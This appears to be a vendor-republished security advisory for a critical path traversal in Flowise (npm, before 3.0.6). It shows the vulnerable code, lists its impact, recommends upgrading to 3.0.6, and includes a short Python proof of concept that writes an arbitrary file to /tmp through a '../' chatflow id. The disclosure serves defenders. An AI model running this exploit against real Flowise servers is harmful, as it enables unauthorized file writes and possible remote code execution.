GHSA-Q67Q-549Q-P849

GHSA-Q67Q-549Q-P849 is a critical-severity path traversal vulnerability in flowise (npm), affecting versions >= 2.2.8, < 3.0.6. It is fixed in 3.0.6.

Summary

Missing chat flow id validation allows an attacker to access arbitrary file.

Details

Commit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for filename when handling file upload operations to prevent path traversal, and additional validation of chatflowId and chatId from route /api/v1/attachments. In some cases, however, chatflowId and chatId are not validated to ensure they are UUIDs or numbers, which may lead to security issues.

Case 1

When creating new chatflow via /api/v1/chatflows, function addBase64FilesToStorage is called if there exists base64 file data. Although the filename is sanitized, the chatflowid comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data.

export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {
    // ...
    } else {
        const dir = path.join(getStoragePath(), chatflowid)  // path traversal here
        if (!fs.existsSync(dir)) {
            fs.mkdirSync(dir, { recursive: true })
        }

        const splitDataURI = fileBase64.split(',')
        const filename = splitDataURI.pop()?.split(':')[1] ?? ''
        const bf = Buffer.from(splitDataURI.pop() || '', 'base64')
        const sanitizedFilename = _sanitizeFilename(filename)

        const filePath = path.join(dir, sanitizedFilename)
        fs.writeFileSync(filePath, bf)
        fileNames.push(sanitizedFilename)
        return 'FILE-STORAGE::' + JSON.stringify(fileNames)
    }
}

Case 2

When downloading file via /api/v1/openai-assistants-file/download or /api/v1/get-upload-file, function streamStorageFile is called to retrieve file data from local or cloud bucket. The chatflowId and chatId are used for file path generation. Take Amazon S3 as an example, its documentation indicates that ../ will be treated as relative path.

Note that these APIs are in WHITELIST_URLS, an attacker may traverse user storage files without authentication.

PoC

Launch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir /tmp with content 'Hello, World!'.

import requests
import json
url = "http://localhost:8080/api/v1/chatflows"
headers = {"x-request-from": "internal"}
nodedata = {
  "category" : "Document Loaders",
  "inputs" : {
    "key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn"
  }
}
flownode = {
  "id" : "a",
  "data" : nodedata
}
flowdata = {
  "nodes" : [flownode],
  "edges" : [],
  "viewport" : {
    "x" : 1,
    "y" : 1,
    "zoom" : 1
  }
}
data = {
  "id" : "../../../../../tmp",
  "name" : "name",
  "flowData" : json.dumps(flowdata)
}
res = requests.post(url, json=data, headers=headers)

Impact

  1. Arbitrary file read / write
  2. Remote Code Execution
  3. Data loss

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

GHSA-Q67Q-549Q-P849 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.6); upgrading removes the vulnerable code path.

Affected versions

flowise (>= 2.2.8, < 3.0.6)

Security releases

flowise → 3.0.6 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade flowise to 3.0.6 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-Q67Q-549Q-P849? GHSA-Q67Q-549Q-P849 is a critical-severity path traversal vulnerability in flowise (npm), affecting versions >= 2.2.8, < 3.0.6. It is fixed in 3.0.6. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is GHSA-Q67Q-549Q-P849? GHSA-Q67Q-549Q-P849 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of flowise are affected by GHSA-Q67Q-549Q-P849? flowise (npm) versions >= 2.2.8, < 3.0.6 is affected.
  4. Is there a fix for GHSA-Q67Q-549Q-P849? Yes. GHSA-Q67Q-549Q-P849 is fixed in 3.0.6. Upgrade to this version or later.
  5. Is GHSA-Q67Q-549Q-P849 exploitable, and should I be worried? Whether GHSA-Q67Q-549Q-P849 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-Q67Q-549Q-P849 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-Q67Q-549Q-P849? Upgrade flowise to 3.0.6 or later.

Other vulnerabilities in flowise

CVE-2026-56268CVE-2026-46480CVE-2026-46479CVE-2026-46478CVE-2026-46477

Stop the waste.
Protect your environment with Kodem.